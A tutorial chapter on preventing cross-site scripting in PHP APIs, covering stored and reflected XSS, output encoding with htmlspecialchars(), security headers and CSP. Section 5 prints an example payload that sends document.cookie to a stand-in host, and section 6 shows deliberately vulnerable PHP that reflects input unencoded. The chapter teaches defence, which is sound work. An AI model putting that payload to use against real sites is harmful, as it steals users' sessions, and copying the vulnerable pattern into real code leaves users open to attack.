Preventing Cross-Site Scripting (XSS)

# CHAPTER 11

Preventing Cross-Site Scripting (XSS) #

1. Introduction #

2. Learning Objectives #

• Explain the mechanics of a Cross-Site Scripting (XSS) attack.

• Differentiate between Stored XSS and Reflected XSS.

• Understand the role APIs play in facilitating XSS attacks.

• Implement PHP's htmlspecialchars() for output encoding.

• Utilize security headers like Content-Security-Policy (CSP).

3. Beginner-Friendly Explanation #

• Normal User: Writes "Guitar for sale, call John."

• Malicious User (XSS): Writes "To read this note, please hand your wallet to the man in the corner."

If the coffee shop owner (the API) blindly takes the malicious note and posts it on the board (the Frontend UI), any customer who reads the board might get tricked.

XSS Prevention is the coffee shop owner reading the note first, seeing the dangerous instructions, and putting a plastic cover over the note that says: "WARNING: This is just text, do not follow these instructions." We force the browser to treat the data *strictly as text*, not as *executable code*.

4. Real-World Attack Scenarios #

• Stored XSS (The Samy Worm): In 2005, a user named Samy realized MySpace wasn't filtering <script> tags on user profiles. He injected a script into his profile. Anyone who viewed his profile unknowingly executed the script, which forced their account to add Samy as a friend and copy the script to *their* profile. It infected 1 million users in 20 hours.

• Reflected XSS: An API has an endpoint /api/search?query=laptops. The API returns {"message": "No results for laptops"}. An attacker crafts a link: /api/search?query=<script>steal_token()</script> and emails it to a victim. If the victim clicks the link, the API reflects the script back to the browser, and the victim's token is stolen.

5. API-Specific XSS Vectors #

{
  "comment": "Hello <script>fetch(&#039;http://hacker.com?cookie='+document.cookie)</script>"
}

If the frontend developer uses React's dangerouslySetInnerHTML or vanilla JavaScript's innerHTML = data.comment, the attack succeeds. Security is a shared responsibility. The API should sanitize data, and the frontend must encode it.

6. Vulnerable vs Secure Code Examples (PHP) #

Vulnerable PHP (Reflecting Input directly):

<?php
// VULNERABLE: The API reflects the user's input directly into the JSON response
$search_term = $_GET[&#039;q']; 
echo json_encode(["message" => "You searched for: " . $search_term]);
?>

Secure PHP (Output Encoding):

<?php
$search_term = $_GET[&#039;q'];

// SECURE: Converts special characters (<, >, &, ") into safe HTML entities
// '<script>' becomes '<script>'
$safe_term = htmlspecialchars($search_term, ENT_QUOTES, &#039;UTF-8');

echo json_encode(["message" => "You searched for: " . $safe_term]);
?>

7. JSON Response Headers #

Always enforce the Content-Type header:

<?php
// Forces the browser to treat the response as data, NEVER as executable HTML
header(&#039;Content-Type: application/json; charset=utf-8');
?>

8. Content Security Policy (CSP) #

<?php
// Tells the browser: Only run scripts hosted on my own domain. Block all inline <script> tags!
header("Content-Security-Policy: default-src &#039;self'; script-src 'self'");
?>

9. Best Practices #

• Sanitize on Output, Not Input: It is generally better to save the raw, exact data the user typed into the database, and run htmlspecialchars() *only* when you are outputting the data. This preserves data integrity.

• Set HttpOnly Cookies: If your API uses session cookies, always set the HttpOnly flag. If an XSS attack occurs, the malicious JavaScript cannot read document.cookie, saving the user's session from being hijacked.

• Trust the Framework: Modern frontend frameworks (React, Angular, Vue) automatically encode output by default. Do not bypass these protections unless absolutely necessary.

10. Common Mistakes #

• Assuming APIs don't need XSS protection: Backend developers often think, "XSS is a frontend problem; my API just returns JSON." If your API serves malicious data to a vulnerable mobile app or a poorly written third-party client, your API is the distribution mechanism for the attack.

• Using strip_tags(): PHP's strip_tags() is notorious for edge cases and can be bypassed by clever attackers. Use htmlspecialchars() instead to neutralize tags rather than trying to delete them.

11. Mini Exercises #

1. 1. What does htmlspecialchars() do to a < character?

1. 2. Why is a Stored XSS attack generally considered more dangerous than a Reflected XSS attack?

12. Practice Challenges #

13. MCQs with Answers #

14. Interview Questions #

• Q: Explain the difference between Stored XSS and Reflected XSS using an API context.

• Q: As a backend API developer, what HTTP headers can you implement to mitigate XSS risks on the frontend?

• Q: Explain the phrase "Sanitize on Output, Validate on Input."

15. FAQs #

16. Summary #

17. Next Chapter Recommendation #